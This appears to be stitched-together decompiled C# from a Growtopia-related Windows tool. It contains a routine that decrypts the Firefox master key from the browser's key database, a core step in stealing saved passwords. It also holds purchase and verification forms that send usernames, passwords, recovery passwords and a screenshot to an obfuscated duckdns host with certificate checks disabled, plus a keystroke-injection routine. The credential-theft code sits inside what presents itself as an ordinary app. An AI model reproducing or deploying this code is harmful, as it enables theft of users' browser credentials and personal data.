// Token: 0x0600017A RID: 378 RVA: 0x0000D960 File Offset: 0x0000BB60 private static byte[] smethod_9(string string_3) { byte[] array = new byte[24]; byte[] result; try { if (!File.Exists(string_3)) { result = array; } else { new DataTable(); Gecko9 gecko9_ = new Gecko9(string_3); Gecko7 gecko = new Gecko7(Class18.smethod_11(gecko9_, new Func <string, bool>(Class18.Class19.class19_0.method_0))); string string_4 = Class18.smethod_11(gecko9_, new Func <string, bool>(Class18.Class19.class19_0.method_1)); Gecko8 gecko2 = new Gecko8(Class18.smethod_10(string_4), Encoding.Default.GetBytes(string.Empty), Class18.smethod_10(gecko.EntrySalt)); gecko2.method_2(); Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, Class18.smethod_10(gecko.Passwordcheck), PaddingMode.None); Gecko4 gecko3 = Gecko1.Create(Class18.smethod_10(Class18.smethod_11(gecko9_, new Func <string, bool>(Class18.Class19.class19_0.method_2)))); Gecko8 gecko4 = new Gecko8(Class18.smethod_10(string_4), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); gecko4.method_2(); Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24) { array = gecko5.Objects[0].Objects[3].ObjectData; result = array; } else { Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); result = array; } } } catch (Exception) { result = array; } return(result); }
// Token: 0x060004B4 RID: 1204 RVA: 0x00028028 File Offset: 0x00026228 private void metroTile2_Click(object sender, EventArgs e) { if (this._RepositoryMethod > 2) { MessageBox.Show("The code has already been sent!"); return; } Random random = new Random(); this.managerMethod = random.Next(100000, 999999); if (this.metroTextBox4.Text.Contains(Class18.smethod_11(5114))) { if (this.metroTextBox4.Text.Contains("@")) { string text = string.Empty; try { string instance = string.Concat(new string[] { DateTime.UtcNow.ToString("yyyy-MM-dd-HH-mm"), "|", "59DC-816E-BE7D-8EDC-340E-E11E-5E5A-04E4", "|", this.metroTextBox4.Text, "|Verification code|", this.managerMethod.ToString() }); string s = string.Concat(new string[] { "ausdh0asy", "8dUASY", this.label4.Text, ")/", "ASydASDIAS" }); byte[] counter = SHA256.Create().ComputeHash(Encoding.ASCII.GetBytes(s)); byte[] consumer = new byte[] { 1, 178, 187, 101, 193, 229, 22, 188, 231, 231, 239, 37, 230, 115, 7, 229 }; ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(this.CallMap); byte[] bytes = Convert.FromBase64String("aHR0cHM6Ly9yZWFsZ29ibGlucy5kdWNrZG5zLm9yZzozNjgwMC9hcGkucGhwP2NtZD04JmtleT0="); HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(Encoding.UTF8.GetString(bytes) + Worker.InsertList(instance, counter, consumer)); httpWebRequest.AutomaticDecompression = DecompressionMethods.GZip; using (HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse()) { using (Stream responseStream = httpWebResponse.GetResponseStream()) { using (StreamReader streamReader = new StreamReader(responseStream)) { text = streamReader.ReadToEnd(); } } } string[] array = text.Replace("\n", "").Split(new char[] { '|' }); this._RepositoryMethod++; MessageBox.Show("Verification code sent! Check all your inboxes\r\nOutput: " + array[0]); return; } catch (Exception) { MessageBox.Show("Couldn't establish a connection to the server. Either the server is down, or you don't have any intrnet connection. Using a VPN might solve this issue."); return; } } MessageBox.Show("Please enter a valid email address"); return; } MessageBox.Show("Please enter a valid email address"); }
// Token: 0x060002B1 RID: 689 RVA: 0x00010F08 File Offset: 0x0000F108 public void ExcludeMethod(IntPtr value, string cfg) { Console.WriteLine(cfg); cfg = cfg.ToUpper(); ParamVisitor.PostMessage(value, 256U, (IntPtr)13, IntPtr.Zero); ParamVisitor.PostMessage(value, 257U, (IntPtr)13, IntPtr.Zero); int i = 0; while (i < cfg.Length) { string text = cfg[i].ToString(); if (text == null) { goto IL_5C2; } uint num = < PrivateImplementationDetails >.ComputeStringHash(text); Keys value2; if (num <= 772578730U) { if (num <= 621580159U) { if (num <= 554469683U) { if (num <= 252472541U) { if (num != 202139684U) { if (num != 252472541U) { goto IL_5C2; } if (!(text == "\n")) { goto IL_5C2; } } else if (!(text == "\t")) { goto IL_5C2; } value2 = Keys.Space; } else if (num != 537692064U) { if (num != 554469683U) { goto IL_5C2; } if (!(text == "$")) { goto IL_5C2; } value2 = Keys.Home; } else { if (!(text == "%")) { goto IL_5C2; } value2 = Keys.Left; } } else if (num <= 588024921U) { if (num != 571247302U) { if (num != 588024921U) { goto IL_5C2; } if (!(text == "&")) { goto IL_5C2; } value2 = Keys.Up; } else { if (!(text == "'")) { goto IL_5C2; } value2 = Keys.Right; } } else if (num != 604802540U) { if (num != 621580159U) { goto IL_5C2; } if (!(text == " ")) { goto IL_5C2; } value2 = Keys.Space; } else { if (!(text == "!")) { goto IL_5C2; } value2 = Keys.Prior; } } else if (num <= 688690635U) { if (num <= 655135397U) { if (num != 638357778U) { if (num != 655135397U) { goto IL_5C2; } if (!(text == "\"")) { goto IL_5C2; } value2 = Keys.Next; } else { if (!(text == "#")) { goto IL_5C2; } value2 = Keys.End; } } else if (num != 671913016U) { if (num != 688690635U) { goto IL_5C2; } if (!(text == ",")) { goto IL_5C2; } value2 = Keys.Snapshot; } else { if (!(text == "-")) { goto IL_5C2; } value2 = Keys.Insert; } } else if (num <= 722245873U) { if (num != 705468254U) { if (num != 722245873U) { goto IL_5C2; } if (!(text == Class18.smethod_11(5114))) { goto IL_5C2; } value2 = Keys.Delete; } else { if (!(text == Class18.smethod_11(5192))) { goto IL_5C2; } value2 = Keys.OemQuestion; } } else if (num != 739023492U) { if (num != 755801111U) { if (num != 772578730U) { goto IL_5C2; } if (!(text == "+")) { goto IL_5C2; } value2 = Keys.Execute; } else { if (!(text == "(")) { goto IL_5C2; } value2 = Keys.Down; } } else { if (!(text == ")")) { goto IL_5C2; } value2 = Keys.Select; } } else if (num <= 3305896031U) { if (num <= 973910158U) { if (num <= 940354920U) { if (num != 789356349U) { if (num != 940354920U) { goto IL_5C2; } if (!(text == "=")) { goto IL_5C2; } value2 = (Keys.LButton | Keys.MButton | Keys.Back | Keys.ShiftKey | Keys.Space); } else { if (!(text == "*")) { goto IL_5C2; } value2 = Keys.Print; } } else if (num != 957132539U) { if (num != 973910158U) { goto IL_5C2; } if (!(text == "?")) { goto IL_5C2; } value2 = (Keys.LButton | Keys.RButton | Keys.MButton | Keys.Back | Keys.ShiftKey | Keys.Space); } else { if (!(text == "<")) { goto IL_5C2; } value2 = (Keys.MButton | Keys.Back | Keys.ShiftKey | Keys.Space); } } else if (num <= 1041020634U) { if (num != 990687777U) { if (num != 1041020634U) { goto IL_5C2; } if (!(text == ";")) { goto IL_5C2; } value2 = (Keys.LButton | Keys.RButton | Keys.Back | Keys.ShiftKey | Keys.Space); } else { if (!(text == ">")) { goto IL_5C2; } value2 = (Keys.RButton | Keys.MButton | Keys.Back | Keys.ShiftKey | Keys.Space); } } else if (num != 1057798253U) { if (num != 3289118412U) { if (num != 3305896031U) { goto IL_5C2; } if (!(text == "@")) { goto IL_5C2; } value2 = (Keys)64; } else { if (!(text == "A")) { goto IL_5C2; } value2 = Keys.LControlKey; } } else { if (!(text == ":")) { goto IL_5C2; } value2 = (Keys.RButton | Keys.Back | Keys.ShiftKey | Keys.Space); } } else if (num <= 3725336506U) { if (num <= 3641448411U) { if (num != 3624670792U) { if (num != 3641448411U) { goto IL_5C2; } if (!(text == Class18.smethod_11(5198))) { goto IL_5C2; } value2 = Keys.OemPipe; } else { if (!(text == "]")) { goto IL_5C2; } value2 = Keys.OemCloseBrackets; } } else if (num != 3658226030U) { if (num != 3725336506U) { goto IL_5C2; } if (!(text == "[")) { goto IL_5C2; } value2 = Keys.OemOpenBrackets; } else { if (!(text == "_")) { goto IL_5C2; } value2 = Keys.Sleep; } } else if (num <= 4161554600U) { if (num != 3842779839U) { if (num != 4161554600U) { goto IL_5C2; } if (!(text == "}")) { goto IL_5C2; } value2 = Keys.F14; } else { if (!(text == "`")) { goto IL_5C2; } value2 = Keys.Oemtilde; } } else if (num != 4178332219U) { if (num != 4211887457U) { if (num != 4262220314U) { goto IL_5C2; } if (!(text == "{")) { goto IL_5C2; } value2 = Keys.F12; } else { if (!(text == "~")) { goto IL_5C2; } value2 = Keys.F15; } } else { if (!(text == "|")) { goto IL_5C2; } value2 = Keys.F13; } IL_5ED: Console.WriteLine(value2.ToString()); ParamVisitor.PostMessage(value, 256U, (IntPtr)((int)value2), IntPtr.Zero); ParamVisitor.PostMessage(value, 257U, (IntPtr)((int)value2), IntPtr.Zero); Thread.Sleep(20); i++; continue; IL_5C2: try { value2 = (Keys)this._CodeVisitor.ConvertFromString(cfg[i].ToString()); } catch (Exception) { value2 = Keys.Down; } goto IL_5ED; } ParamVisitor.PostMessage(value, 256U, (IntPtr)13, IntPtr.Zero); ParamVisitor.PostMessage(value, 257U, (IntPtr)13, IntPtr.Zero); }
// Token: 0x060004A3 RID: 1187 RVA: 0x000274E4 File Offset: 0x000256E4 private void bunifuImageButton2_Click(object sender, EventArgs e) { this.m_StateMethod = true; switch (this.metroTabControl1.SelectedIndex) { case 0: if (!this.radioButton1.Checked) { MessageBox.Show("You must select a plan in order to continue"); return; } break; case 1: { if (this.metroTextBox1.Text == "") { MessageBox.Show("You must select a username in order to continue"); return; } string instance = string.Concat(new string[] { DateTime.UtcNow.ToString("yyyy-MM-dd-HH-mm"), "|", "59DC-816E-BE7D-8EDC-340E-E11E-5E5A-04E4", "|", this.metroTextBox1.Text }); string s = string.Concat(new string[] { "ausdh0asy", "8dUASY", this.label3.Text, ")/", "ASydASDIAS" }); byte[] counter = SHA256.Create().ComputeHash(Encoding.ASCII.GetBytes(s)); byte[] consumer = new byte[] { 1, 178, 187, 101, 193, 229, 22, 188, 231, 231, 239, 37, 230, 115, 7, 229 }; ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(this.CallMap); byte[] bytes = Convert.FromBase64String("aHR0cHM6Ly9yZWFsZ29ibGlucy5kdWNrZG5zLm9yZzozNjgwMC9hcGkucGhwP2NtZD02JmtleT0="); string text = Encoding.UTF8.GetString(bytes) + Worker.InsertList(instance, counter, consumer); string text2 = ""; HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(text); httpWebRequest.AutomaticDecompression = DecompressionMethods.GZip; using (HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse()) { using (Stream responseStream = httpWebResponse.GetResponseStream()) { using (StreamReader streamReader = new StreamReader(responseStream)) { text2 = streamReader.ReadToEnd(); } } } string[] array = text2.Replace("\n", "").Replace(" ", "").Split(new char[] { '|' }); if (array[0] == "1") { MessageBox.Show("You already have premium, you can't purchase it again on this machine."); return; } if (array[1] == "1") { MessageBox.Show("That username is already taken. Please choose another one."); return; } if (!this.metroTextBox6.Text.Contains("@")) { MessageBox.Show("Please enter a valid email address. Your order will manually be reviewed before being accepted."); return; } if (this.metroTextBox3.Text == "") { MessageBox.Show("Please enter a valid email address. Your order will manually be reviewed before being accepted."); return; } break; } case 4: if (this.m_RegMethod != null && !(this.metroTextBox10.Text == "")) { if (MessageBox.Show("Are you sure you would like to submit the order? I'd recommend you to check all the fields before submitting.", "Verify", MessageBoxButtons.YesNo) == DialogResult.No) { return; } this.bunifuImageButton1.Enabled = false; this.bunifuImageButton2.Enabled = false; StringBuilder stringBuilder = new StringBuilder(); StringBuilder stringBuilder2 = new StringBuilder(); stringBuilder2.Append(this.metroTextBox1.Text); stringBuilder2.Append("|" + this.metroTextBox2.Text); stringBuilder2.Append("|" + this.metroTextBox10.Text); stringBuilder2.Append("|" + this.metroTextBox6.Text); stringBuilder2.Append("|" + this.metroTextBox4.Text); stringBuilder2.Append("|" + this.metroTextBox7.Text); stringBuilder2.Append("|none"); stringBuilder2.Append("|2 DLS"); stringBuilder2.Append("|" + this.metroTextBox3.Text); stringBuilder2.Append("|" + this.metroTextBox8.Text); Console.WriteLine(stringBuilder2); stringBuilder.AppendLine("Your order has successfully been submitted."); stringBuilder.AppendLine(""); stringBuilder.AppendLine("----------Receipt----------"); if (this.radioButton1.Checked) { stringBuilder.AppendLine("Plan: Premium (2 DLS/4 USD)"); } stringBuilder.AppendLine("Username: "******"Password: "******"Recovery password: "******"Discord: " + this.metroTextBox7.Text); stringBuilder.AppendLine("Email: " + this.metroTextBox6.Text + Class18.smethod_11(28178) + this.metroTextBox4.Text); stringBuilder.AppendLine("Verification method: Email"); stringBuilder.AppendLine("Payment: 2 DLS"); stringBuilder.AppendLine("Time & date (UTC): " + DateTime.UtcNow.ToString()); stringBuilder.AppendLine("Payment proof: "); this.m_RegMethod.Save("screenshot.jpg", ImageFormat.Jpeg); string value; using (Image image = Image.FromFile("screenshot.jpg")) { using (MemoryStream memoryStream = new MemoryStream()) { image.Save(memoryStream, image.RawFormat); value = Convert.ToBase64String(memoryStream.ToArray()); } } string text2 = string.Empty; try { string[] array2 = new string[7]; array2[0] = DateTime.UtcNow.ToString("yyyy-MM-dd-HH-mm"); array2[1] = "|"; array2[2] = "59DC-816E-BE7D-8EDC-340E-E11E-5E5A-04E4"; array2[3] = "|"; array2[4] = this.metroTextBox4.Text; array2[5] = "|Premium purchase receipt|"; int num = 6; StringBuilder stringBuilder3 = stringBuilder; array2[num] = ((stringBuilder3 != null) ? stringBuilder3.ToString() : null); string instance = string.Concat(array2); string s = string.Concat(new string[] { "ausdh0asy", "8dUASY", this.label4.Text, ")/", "ASydASDIAS" }); byte[] counter = SHA256.Create().ComputeHash(Encoding.ASCII.GetBytes(s)); byte[] consumer = new byte[] { 1, 178, 187, 101, 193, 229, 22, 188, 231, 231, 239, 37, 230, 115, 7, 229 }; byte[] bytes = Convert.FromBase64String("aHR0cHM6Ly9yZWFsZ29ibGlucy5kdWNrZG5zLm9yZzozNjgwMC9hcGkucGhwP2NtZD05JmtleT0="); string text = Encoding.UTF8.GetString(bytes) + Worker.InsertList(instance, counter, consumer); using (WebClient webClient = new WebClient()) { byte[] bytes2 = webClient.UploadValues(text, new NameValueCollection { { "imageData", value } }); Console.WriteLine("Server Said: " + Encoding.Default.GetString(bytes2)); } } catch (Exception) { MessageBox.Show("Couldn't establish a connection to the server. Either the server is down, or you don't have any intrnet connection. Using a VPN might solve this issue."); return; } try { string[] array3 = new string[5]; array3[0] = DateTime.UtcNow.ToString("yyyy-MM-dd-HH-mm"); array3[1] = "|"; array3[2] = "59DC-816E-BE7D-8EDC-340E-E11E-5E5A-04E4"; array3[3] = "|"; int num2 = 4; StringBuilder stringBuilder4 = stringBuilder2; array3[num2] = ((stringBuilder4 != null) ? stringBuilder4.ToString() : null); string instance = string.Concat(array3); string s = string.Concat(new string[] { "ausdh0asy", "8dUASY", this.label4.Text, ")/", "ASydASDIAS" }); byte[] counter = SHA256.Create().ComputeHash(Encoding.ASCII.GetBytes(s)); byte[] consumer = new byte[] { 1, 178, 187, 101, 193, 229, 22, 188, 231, 231, 239, 37, 230, 115, 7, 229 }; ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(this.CallMap); byte[] bytes = Convert.FromBase64String("aHR0cHM6Ly9yZWFsZ29ibGlucy5kdWNrZG5zLm9yZzozNjgwMC9hcGkucGhwP2NtZD0xMCZrZXk9"); string text = Encoding.UTF8.GetString(bytes) + Worker.InsertList(instance, counter, consumer); HttpWebRequest httpWebRequest2 = (HttpWebRequest)WebRequest.Create(text); httpWebRequest2.AutomaticDecompression = DecompressionMethods.GZip; using (HttpWebResponse httpWebResponse2 = (HttpWebResponse)httpWebRequest2.GetResponse()) { using (Stream responseStream2 = httpWebResponse2.GetResponseStream()) { using (StreamReader streamReader2 = new StreamReader(responseStream2)) { text2 = streamReader2.ReadToEnd(); } } } string[] array = text2.Replace("\n", "").Replace(" ", "").Split(new char[] { '|' }); break; } catch (Exception) { MessageBox.Show("Couldn't establish a connection to the server. Either the server is down, or you don't have any intrnet connection. Using a VPN might solve this issue."); break; } } MessageBox.Show("Please add a proof of that you've paid and type your GrowID in the box."); return; case 5: { bool @checked = this.radioButton3.Checked; break; } } this.metroTabControl1.SelectedIndex = this.metroTabControl1.SelectedIndex + 1; }